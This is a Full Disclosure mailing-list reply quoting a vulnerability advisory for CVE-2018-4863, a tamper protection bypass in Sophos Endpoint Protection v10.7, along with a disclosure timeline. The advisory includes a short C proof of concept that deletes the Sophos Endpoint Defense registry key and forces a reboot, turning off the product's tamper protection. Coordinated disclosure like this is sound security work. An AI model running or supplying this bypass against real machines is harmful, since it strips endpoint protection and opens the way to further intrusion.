Date: Wed, 4 Apr 2018 09:48:43 +0200
From: Buherátor <buherator@...il.com>
To: hyp3rlinx <apparitionsec@...il.com>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] CVE-2018-4863 Sophos Endpoint Protection v10.7 / Tamper
 Protection Bypass

The affected key under HKLM is writable by regular users? A Get-ACL[1]
output would be appreciated!

And why do you put a batch script inside C code? o.O

[1] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-6

Buherátor - @buherator
PGP: 1DD5 6AFB 0660 4106 7B70  4F71 B84C 47BD 86EA 1855


2018-04-04 6:04 GMT+02:00 hyp3rlinx <apparitionsec@...il.com>:
> [+] Credits: John Page (aka hyp3rlinx)
> [+] Website: hyp3rlinx.altervista.org
> [+] Source:
> http://hyp3rlinx.altervista.org/advisories/SOPHOS-ENDPOINT-PROTECTION-v10.7-TAMPER-PROTECTION-BYPASS-CVE-2018-4863.txt
> [+] ISR: Apparition Security
>
>
>
> Vendor:
> =============
> www.sophos.com
>
>
>
> Product:
> ===========
> Sophos Endpoint Protection v10.7
>
> Sophos Endpoint Protection helps secure your workstation by adding
> prevention, detection, and response technology on top of your operating
> system.
> Sophos Endpoint Protection is designed for workstations running Windows and
> macOS. It adds exploit technique mitigations, CryptoGuard anti-ransomware,
> anti-malware, web security, malicious traffic detection, and deep system
> cleanup.
>
>
>
> Vulnerability Type:
> ===================
> Tamper Protection Bypass
>
>
> CVE Reference:
> ==============
> CVE-2018-4863
>
>
> Security Issue:
> ================
> Sophos Endpoint Protection offers an enhanced tamper protection mechanism
> disallowing changes to be made to the Windows registry
> by creating and setting a special registry key "SEDEnabled" as follows:
>
> HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sophos Endpoint
> Defense\TamperProtection\Config
> Create the following registry key:
> "SEDEnabled"=dword:00000001"
>
> From "https://community.sophos.com/kb/en-us/124376" documentation:
> "You must enable the basic Tamper Protection feature on an endpoint in
> order to use the Enhanced Tamper Protection"
>
> However, this protection mechanism can be bypassed by deleting the
> following registry key as it is not sufficiently protected.
> "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Sophos Endpoint
> Defense\"
>
> By deleting this key this bypasses the Sophos Endpoint "Enhanced Tamper
> Protection" once the system has been rebooted.
> Attackers can then create arbitrary registry keys or edit keys and settings
> under the protected "tamper" protection config key.
> The issue undermines the integrity of the endpoint protection as deleting
> this key stops the tamper protect driver from loading.
>
>
> SAV OPM customers are unaffected from 10.8.1 onwards, all Central managed
> customers customers are unaffected.
> All SAV OPM Preview subscribers have had the fix since 2018-03-01.
>
>
>
> Exploit/POC:
> =============
> Compile the below malicious POC "C" code and run on target, PC will reboot
> then we pwn.
>
> gcc -o sophos-poc.exe sophos-poc.c
>
> "sophos-poc.c"
>
> /***SOPHOS ANTIVIRUS ENDPOINT ENHANCED TAMPER PROTECTION BYPASS
> Even with "SEDEnabled"=dword:00000001" set in registry to prevent tampering
> https://community.sophos.com/kb/en-us/124376
> By hyp3rlinx **/
>
> int main(void){
>  system("reg delete
> \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Sophos Endpoint
> Defense\"  /f");
>  system("shutdown -t 0 -r -f");
> return 0;
> }
>
>
>
> Network Access:
> ===============
> Local
>
>
>
> Severity:
> =========
> High
>
>
>
> Disclosure Timeline:
> =============================
> Vendor Notification: December 4, 2017
> Vendor Acknowledgement: December 12, 2017
> Vendor release fixes: March 1, 2018
> Vendor request additional time before disclosing.
> additional time has passed.
> April 4, 2018  : Public Disclosure
>
>
>
> [+] Disclaimer
> The information contained within this advisory is supplied "as-is" with no
> warranties or guarantees of fitness of use or otherwise.
> Permission is hereby granted for the redistribution of this advisory,
> provided that it is not altered except by reformatting it, and
> that due credit is given. Permission is explicitly given for insertion in
> vulnerability databases and similar, provided that due credit
> is given to the author. The author is not responsible for any misuse of the
> information contained herein and accepts no responsibility
> for any damage caused by the use or misuse of this information. The author
> prohibits any malicious use of security related information
> or exploits by the author or elsewhere. All content (c).
>
> hyp3rlinx
>
> _______________________________________________
> Sent through the Full Disclosure mailing list
> https://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/

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